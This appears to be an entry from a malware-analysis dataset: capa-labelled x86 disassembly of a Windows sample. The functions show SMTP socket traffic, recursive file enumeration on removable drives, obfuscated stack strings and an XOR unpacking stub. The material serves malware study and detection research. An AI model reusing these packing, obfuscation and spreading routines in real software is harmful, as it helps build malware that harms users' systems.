joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403b80
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x2bc
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x12c
call edi
mov esi, dword [esp + 0x2c8]
push 0
push esi
call fcn.004086d0
add esp, 4
push eax
mov eax, dword [0x411e94]
push esi
push eax
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x403bd1
call sub.WSOCK32.dll_WSACleanup
pop edi
mov dword [0x412c3c], 1
pop esi
add esp, 0x2bc
ret
mov eax, dword [esp + 0x2cc]
test eax, eax
je 0x403c48
push 0xbb8
call edi
mov edx, dword [0x411e94]
push 0
push 0x257
lea ecx, [esp + 0x74]
push ecx
push edx
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
je 0x403c39
mov byte [esp + eax + 0x6c], 0
mov eax, dword [esp + 0x2d0]
test eax, eax
je 0x403c48
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x70]
push 4
push ecx
call fcn.00402130
push 0
lea edx, [esp + 0x18]
push 0x40c3dc
push edx
call fcn.00401370
add esp, 0x18
test eax, eax
jle 0x403c48
mov dword [0x412c3c], 1
call sub.WSOCK32.dll_WSACleanup
pop edi
pop esi
add esp, 0x2bc
ret

Function at 0x403c60
Capabilities:
Check if file exists
Get file attributes
Read file on windows

Disassembly:
sub esp, 0x128
push 0x40c3ec
push 0x410390
call fcn.00408760
lea eax, [esp + 0x2c]
push eax
push 0x40c3e0
push 0x40bc84
push 0x410928
call fcn.00402080
add esp, 0x18
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403db5
push edi
push 0
push 0x80
push 3
push 0
push 0
push closesocket
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
test edi, edi
je 0x403da8
push esi
push 0x10
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00408980
add esp, 0xc
push esi
lea ecx, [esp + 0x2c]
push ecx
push 8
lea edx, [esp + 0x24]
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x28]
mov byte [esp + eax + 0x18], 0
movsx eax, byte [esp + 0x18]
cmp eax, 0x2f
jle 0x403d19
add al, 0x33
mov byte [esp + 8], al
mov esi, 1
movsx eax, byte [esp + 0x19]
cmp eax, 0x2f
jle 0x403d2a
add al, 0x35
mov byte [esp + 9], al
inc esi
movsx eax, byte [esp + 0x1a]
cmp eax, 0x2f
jle 0x403d3b
add al, 0x37
mov byte [esp + 0xa], al
inc esi
movsx eax, byte [esp + 0x1b]
cmp eax, 0x2f
jle 0x403d4c
add al, 0x39
mov byte [esp + 0xb], al
inc esi
movsx eax, byte [esp + 0x1c]
cmp eax, 0x2f
jle 0x403d5d
add al, 0x3b
mov byte [esp + 0xc], al
inc esi
movsx eax, byte [esp + 0x1d]
cmp eax, 0x2f
jle 0x403d6e
add al, 0x3d
mov byte [esp + 0xd], al
inc esi
movsx eax, byte [esp + 0x1e]
cmp eax, 0x2f
jle 0x403d7f
add al, 0x3f
mov byte [esp + 0xe], al
inc esi
movsx eax, byte [esp + 0x1f]
cmp eax, 0x2f
jle 0x403d90
add al, 0x41
mov byte [esp + 0xf], al
inc esi
lea ecx, [esp + 8]
push ecx
push 0x410390
mov byte [esp + esi + 0x10], 0
call fcn.00408770
add esp, 8
pop esi
mov eax, 1
pop edi
add esp, 0x128
ret
xor eax, eax
add esp, 0x128
ret
Function at 0x404490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x80
push ebx
push edi
mov al, 0x64
mov byte [esp + 0xa], al
mov byte [esp + 0xc], al
mov al, 0x6c
mov byte [esp + 0x1a], al
mov byte [esp + 0x21], al
mov cl, 0x74
mov byte [esp + 0xd], cl
mov byte [esp + 0x1d], cl
mov al, 0x73
mov byte [esp + 0x24], al
mov byte [esp + 0x2e], al
mov dl, 0x66
mov cl, 0x6d
mov byte [esp + 0x1c], dl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x2d], cl
lea eax, [esp + 8]
mov dword [esp + 0x60], eax
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x20]
xor ebx, ebx
mov dword [esp + 0x70], ecx
mov dword [esp + 0x74], edx
mov dword [esp + 0x78], eax
lea ecx, [esp + 0x24]
lea edx, [esp + 0x28]
lea eax, [esp + 0x2c]
mov byte [esp + 0xb], bl
mov byte [esp + 0xf], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x17], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 8], 0x61
mov byte [esp + 9], 0x72
mov byte [esp + 0xb], bl
mov byte [esp + 0xe], 0x62
mov byte [esp + 0xf], bl
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], 0x76
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], 0x79
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x78
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x77
mov byte [esp + 0x19], 0x6a
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], bl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2f], bl
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], edx
mov dword [esp + 0x84], eax
call fcn.00402990
mov eax, dword [0x410814]
cmp eax, 0xa
jge 0x4045e8
add eax, 0xa
push esi
push 0xa
lea ecx, [esp + 0x48]
push ecx
push eax
call fcn.0040a738
movsx esi, byte [esp + 0x50]
movsx edi, byte [esp + 0x51]
lea edx, [esp + 0x40]
push 0x40c401
push edx
sub esi, 0x30
sub edi, 0x30
call fcn.00408760
add esp, 0x14
xor eax, eax
lea ebx, [ebx]
cmp eax, esi
je 0x40462c
inc eax
cmp eax, 0xa
jl 0x404620
jmp 0x40463e
mov eax, dword [esp + eax*4 + 0x64]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.00408760
add esp, 8
pop esi
nop
cmp ebx, edi
je 0x40464c
inc ebx
cmp ebx, 0xa
jl 0x404640
jmp 0x40465e
mov edx, dword [esp + ebx*4 + 0x60]
push edx
lea eax, [esp + 0x34]
push eax
call fcn.00408770
add esp, 8
lea ecx, [esp + 0x30]
push 0x40c4ac
push ecx
call fcn.00408770
mov eax, dword [esp + 0x94]
lea edx, [esp + 0x38]
push edx
push eax
call fcn.00408760
add esp, 0x10
pop edi
pop ebx
add esp, 0x80
ret
Function at 0x404690
Capabilities:
Set console window title

Disassembly:
sub esp, 0x54
push esi
push edi
push 0x40c9b4
mov dword [esp + 0xc], 0x40c970
mov dword [esp + 0x10], 0x40c93c
mov dword [esp + 0x14], 0x40c8d8
mov dword [esp + 0x18], 0x40c898
mov dword [esp + 0x1c], 0x40c858
mov dword [esp + 0x20], 0x40c83c
mov dword [esp + 0x24], 0x40c81c
mov dword [esp + 0x28], 0x40c7fc
mov dword [esp + 0x2c], 0x40c7b8
mov dword [esp + 0x30], 0x40c770
mov dword [esp + 0x34], 0x40c728
mov dword [esp + 0x38], 0x40c6e0
mov dword [esp + 0x3c], 0x40c698
mov dword [esp + 0x40], 0x40c650
mov dword [esp + 0x44], 0x40c608
mov dword [esp + 0x48], 0x40c5c0
mov dword [esp + 0x4c], 0x40c578
mov dword [esp + 0x50], 0x40c548
mov dword [esp + 0x54], 0x40c514
mov dword [esp + 0x58], 0x40c4d0
mov dword [esp + 0x5c], 0x40c4b8
call dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
xor esi, esi
push 0x40c4b4
call fcn.0040825c
mov eax, dword [esp + esi*4 + 0xc]
push eax
call fcn.0040825c
add esp, 8
push 0x1f4
call edi
cmp esi, 7
jne 0x40477f
push 0x1388
call edi
call fcn.004023a0
inc esi
cmp esi, 0x15
jl 0x404750
push 0x1388
call edi
pop edi
pop esi
add esp, 0x54
ret
Function at 0x405750
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x588
push edi
lea eax, [esp + 0x14]
push eax
push 0x40cdc0
push ecx
push 0x40e6e8
call fcn.00402080
mov edi, dword [esp + 0x5a4]
lea edx, [esp + 0x88]
push edx
push 0x40cdc0
push edi
push 0x40e6dc
call fcn.00402080
add esp, 0x20
lea eax, [esp + 0x1a4]
push eax
push 0x101
mov dword [0x411e94], 0xffffffff
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x40581a
push eax
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [0x411e94], eax
je 0x40581a
mov ecx, dword [esp + 0x598]
push ecx
mov word [esp + 8], 2
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x40581a
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.00408a70
add esp, 0xc
push 0x19
call sub.WSOCK32.dll_htons
mov ecx, dword [0x411e94]
mov word [esp + 6], ax
push 0x10
lea eax, [esp + 8]
push eax
push ecx
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
jne 0x405829
call sub.WSOCK32.dll_WSACleanup
xor eax, eax
pop edi
add esp, 0x588
ret
mov eax, dword [0x411e94]
push 0
push 0x257
lea edx, [esp + 0x33c]
push edx
push eax
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
je 0x40581f
push esi
push 0
push 0x40e6d8
push edi
call fcn.00401370
mov esi, eax
add esp, 0xc
cmp esi, 1
jge 0x405870
call sub.WSOCK32.dll_WSACleanup
pop esi
xor eax, eax
pop edi
add esp, 0x588
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call ebx
lea ecx, [esp + 0x148]
push ecx
dec esi
push esi
push edi
call fcn.00402130
lea edx, [esp + 0xf0]
push edx
push 0x40cdc0
lea eax, [esp + 0x15c]
push eax
push 0x40e6d0
call fcn.00402080
push 0
lea ecx, [esp + 0x104]
push 1
push ecx
mov dword [0x412c3c], 0
call fcn.00403b80
mov eax, dword [0x412c3c]
add esp, 0x28
test eax, eax
jne 0x40591c
push 0
lea edx, [esp + 0x20]
push 1
push edx
call fcn.00403b80
mov eax, dword [0x412c3c]
add esp, 0xc
test eax, eax
jne 0x40591c
push 1
lea eax, [esp + 0x84]
push 1
push eax
call fcn.00403b80
mov eax, dword [0x412c3c]
add esp, 0xc
test eax, eax
jne 0x40591c
push 1
push 1
push 0x40e6c8
call fcn.00403b80
add esp, 0xc
push edi
call fcn.00405120
mov eax, dword [0x412c3c]
add esp, 4
test eax, eax
jne 0x405959
push 0
push 1
push 0x40e6c0
call fcn.00403b80
mov eax, dword [0x412c3c]
add esp, 0xc
test eax, eax
jne 0x405959
push 0
push 0
push 0x40e6b8
call fcn.00403b80
add esp, 0xc
push 0xbb8
call ebx
mov ecx, dword [0x411e94]
push 1
push ecx
call sub.WSOCK32.dll_shutdown
mov edx, dword [0x411e94]
push edx
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
mov ecx, dword [0x412c3c]
pop ebx
xor eax, eax
test ecx, ecx
pop esi
sete al
pop edi
add esp, 0x588
ret
Function at 0x406070
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x30c
call fcn.00401ee0
test eax, eax
jne 0x406263
push ebx
push esi
push edi
mov edi, dword [esp + 0x31c]
lea eax, [esp + 0x110]
push edi
push eax
call fcn.00408760
lea ecx, [esp + 0x118]
push 0x40e788
push ecx
call fcn.00408770
mov ebx, dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
add esp, 0x10
push 0x412c40
lea edx, [esp + 0x114]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x406260
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
jmp 0x4060e0
lea eax, [esp + 0x10]
push 0x412c6c
push eax
call fcn.00408760
mov eax, dword [0x412c40]
add esp, 8
cmp eax, 0xf
jbe 0x40617a
cmp eax, 0x17
jae 0x40617a
cmp eax, 0xffffffff
je 0x40617a
lea ecx, [esp + 0x10]
push 0x40c094
push ecx
call fcn.004089e0
add esp, 8
test eax, eax
je 0x40617a
lea edx, [esp + 0x10]
push 0x40b6f8
push edx
call fcn.004089e0
add esp, 8
test eax, eax
je 0x40617a
push 0
lea eax, [esp + 0x14]
push 0x40e784
push eax
call fcn.00401370
add esp, 0xc
test eax, eax
jne 0x40617a
lea ecx, [esp + 0x218]
push ecx
push 0x40bc84
lea edx, [esp + 0x18]
push edx
push edi
call fcn.00402080
mov eax, dword [esp + 0x334]
push eax
lea ecx, [esp + 0x22c]
push ecx
call fcn.00406070
add esp, 0x18
push 0x412c40
push esi
call ebp
test eax, eax
jne 0x4060e0
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x4060e0
mov edi, dword [sym.imp.KERNEL32.DLL_FindClose]
push esi
call edi
push 0x412c40
lea edx, [esp + 0x118]
push edx
call ebx
mov esi, eax
lea eax, [esp + 0x10]
push 0x412c6c
push eax
call fcn.00408760
mov eax, dword [0x412c40]
add esp, 8
cmp eax, 0x16
ja 0x4061d4
cmp eax, 0x10
jae 0x406241
cmp eax, 0xffffffff
je 0x406241
or eax, 0x87
je 0x406241
lea ecx, [esp + 0x10]
push 0x40c094
push ecx
call fcn.004089e0
add esp, 8
test eax, eax
je 0x406241
lea edx, [esp + 0x10]
push 0x40b6f8
push edx
call fcn.004089e0
add esp, 8
test eax, eax
je 0x406241
push 0
lea eax, [esp + 0x14]
push 0x40e784
push eax
call fcn.00401370
add esp, 0xc
test eax, eax
jne 0x406241
mov ecx, dword [esp + 0x324]
mov eax, dword [esp + 0x320]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
call fcn.004059a0
add esp, 0xc
push 0x412c40
push esi
call ebp
test eax, eax
jne 0x4061b3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
pop ebp
jne 0x406260
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x30c
ret
Function at 0x406bd0
Capabilities:
Get disk information

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov byte [esp + 0xd], 0x3a
mov byte [esp + 0xe], 0x5c
mov byte [esp + 0xf], 0
mov ebx, 0x43
push 0x1f4
call esi
lea eax, [esp + 0xc]
push eax
mov byte [esp + 0x10], bl
call edi
cmp eax, 2
jne 0x406c1a
lea ecx, [esp + 0xc]
push 1
push ecx
call fcn.00406070
add esp, 8
inc ebx
cmp ebx, 0x5a
jle 0x406bf4
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4082c6
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.00408350
mov esi, eax
call fcn.0040831c
push 0x41000c
push section._4259840_2
call fcn.00408302
push 0
push 0x413070
push esi
call fcn.00406c30
add esp, 0x14
mov esi, eax
call fcn.00408334
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x408350
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x413070], ebx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x408387
xor eax, eax
jmp 0x408433
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
cmp byte [esi], 0x22
jne 0x4083ae
inc esi
mov dword [0x413070], esi
mov al, byte [esi]
cmp al, bl
je 0x4083a8
cmp al, 0x22
je 0x4083a8
inc esi
jmp 0x40839b
cmp byte [esi], bl
jne 0x4083c9
jmp 0x408380
mov dword [0x413070], esi
mov al, byte [esi]
cmp al, bl
je 0x4083c5
cmp al, 0x20
je 0x4083c5
cmp al, 9
je 0x4083c5
inc esi
jmp 0x4083b4
cmp byte [esi], bl
je 0x4083cc
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x413074
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x4083df
cmp dl, 0x20
je 0x4083e4
cmp dl, 9
jne 0x4083e7
inc esi
jmp 0x4083d4
mov dl, byte [esi]
cmp dl, bl
je 0x408433
cmp dl, 0x22
jne 0x408409
inc esi
inc eax
mov dword [ecx], esi
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x408424
cmp dl, 0x22
je 0x408424
inc esi
jmp 0x4083fb
mov dword [ecx], esi
inc eax
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x408424
cmp dl, 0x20
je 0x408424
cmp dl, 9
je 0x408424
inc esi
jmp 0x408411
cmp byte [esi], bl
je 0x408433
mov byte [esi], bl
inc esi
cmp ecx, 0x413270
jl 0x4083d4
pop edi
pop esi
pop ebx
ret

Function at 0x409813
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x4132ec], esi
push edi
jne 0x409833
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x4132e8], esi
mov byte [0x4132e4], al
jne 0x409899
mov ecx, dword [0x41335c]
test ecx, ecx
je 0x40987a
mov eax, dword [0x413358]
sub eax, 4
cmp eax, ecx
jmp 0x409873
mov eax, dword [eax]
test eax, eax
je 0x409865
call eax
mov eax, dword [0x413358]
sub eax, 4
cmp eax, dword [0x41335c]
mov dword [0x413358], eax
jae 0x40985d
mov eax, 0x410020
mov esi, 0x410024
cmp eax, esi
mov edi, eax
jae 0x409899
mov eax, dword [edi]
test eax, eax
je 0x409892
call eax
add edi, 4
cmp edi, esi
jb 0x40988a
mov eax, 0x410028
mov esi, 0x41002c
cmp eax, esi
mov edi, eax
jae 0x4098b8
mov eax, dword [edi]
test eax, eax
je 0x4098b1
call eax
add edi, 4
cmp edi, esi
jb 0x4098a9
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4098d2
push dword [ebp + 8]
mov dword [0x4132ec], 1
call fcn.004097e3
pop ebp
ret
Function at 0x409c2d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00408870
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x409cc8
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x4132ac]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x409cc8
cmp eax, 1
je 0x409ce9
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x409cc8
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x409c95
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x409cc4
xor eax, eax
inc eax
jmp 0x409d08
cmp edi, eax
jae 0x409ccc
xor eax, eax
jmp 0x409d08
cmp eax, esi
jae 0x409cd3
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [0x4132ac]
jmp 0x409cec
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a1da
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40a208
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40a20f
cmp ebx, dword [eax + 4]
jae 0x40a20f
xor eax, eax
jmp 0x40a3ff
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40a220
xor eax, eax
inc eax
jmp 0x40a3fe
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40a236
cmp ecx, edx
jae 0x40a37b
cmp dword [eax + 4], 0
je 0x40a23f
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40a227
cmp dword [ebp + 8], 0
je 0x40a261
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40a37b
cmp eax, esi
jae 0x40a37b
mov eax, dword [0x4132f8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40a286
cmp dword [esi*4 + 0x413300], edi
je 0x40a37f
inc esi
cmp esi, eax
jl 0x40a274
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x40a3fb
cmp dword [ebp - 8], 0x1000000
jne 0x40a3fb
test byte [ebp - 0xc], 0xcc
je 0x40a304
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40a3fb
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40a3fb
cmp word [eax + 0x18], 0x10b
jne 0x40a3fb
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40a3fb
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40a304
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40a304
test byte [ecx + 0x27], 0x80
jne 0x40a37b
push 1
push 0x413340
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
test eax, eax
jne 0x40a218
mov ecx, dword [0x4132f8]
test ecx, ecx
mov edx, ecx
jle 0x40a338
lea eax, [ecx*4 + 0x4132fc]
cmp dword [eax], edi
je 0x40a338
dec edx
sub eax, 4
test edx, edx
jg 0x40a32c
test edx, edx
jne 0x40a369
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40a345
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40a35d
lea eax, [edx*4 + 0x413300]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40a34b
cmp ecx, 0x10
jge 0x40a369
inc ecx
mov dword [0x4132f8], ecx
push 0
push 0x413340
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
jmp 0x40a218
xor eax, eax
jmp 0x40a3fe
test esi, esi
jle 0x40a218
mov ebx, dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
push 1
push 0x413340
call ebx
test eax, eax
jne 0x40a218
cmp dword [esi*4 + 0x413300], edi
je 0x40a3d5
mov eax, dword [0x4132f8]
lea esi, [eax - 1]
test esi, esi
jl 0x40a3c3
cmp dword [esi*4 + 0x413300], edi
je 0x40a3bf
dec esi
jns 0x40a3b3
test esi, esi
jge 0x40a3d3
cmp eax, 0x10
jge 0x40a3ce
inc eax
mov dword [0x4132f8], eax
lea esi, [eax - 1]
jmp 0x40a3d5
je 0x40a3ed
xor ecx, ecx
test esi, esi
jl 0x40a3ed
lea eax, [ecx*4 + 0x413300]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40a3db
push 0
push 0x413340
call ebx
jmp 0x40a218
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a403
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x413344], ebx
push esi
push edi
jne 0x40a483
push 0x40f608
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40a4be
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40f5fc
push edi
call esi
test eax, eax
mov dword [0x413344], eax
je 0x40a4be
push 0x40f5ec
push edi
call esi
push 0x40f5d8
push edi
mov dword [0x413348], eax
call esi
cmp dword [0x4132ac], 2
mov dword [0x41334c], eax
jne 0x40a483
push 0x40f5bc
push edi
call esi
test eax, eax
mov dword [0x413354], eax
je 0x40a483
push 0x40f5a4
push edi
call esi
mov dword [0x413350], eax
mov eax, dword [0x413350]
test eax, eax
je 0x40a4c8
call eax
test eax, eax
je 0x40a4af
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x413354]
test eax, eax
je 0x40a4af
test byte [ebp - 8], 1
jne 0x40a4c8
cmp dword [0x4132b8], 4
jb 0x40a4c2
or byte [ebp + 0x12], 0x20
jmp 0x40a4e7
xor eax, eax
jmp 0x40a4f7
or byte [ebp + 0x12], 4
jmp 0x40a4e7
mov eax, dword [0x413348]
test eax, eax
je 0x40a4e7
call eax
mov ebx, eax
test ebx, ebx
je 0x40a4e7
mov eax, dword [0x41334c]
test eax, eax
je 0x40a4e7
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x413344]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x40c94b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
xchg edi, eax
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040c592
push eax
push esi
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.0040c547
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040c592
push eax
push esi
push dword [ebp + 8]
call fcn.0040c547
add esp, 0x30
mov dword [ebp - 0xb8], eax
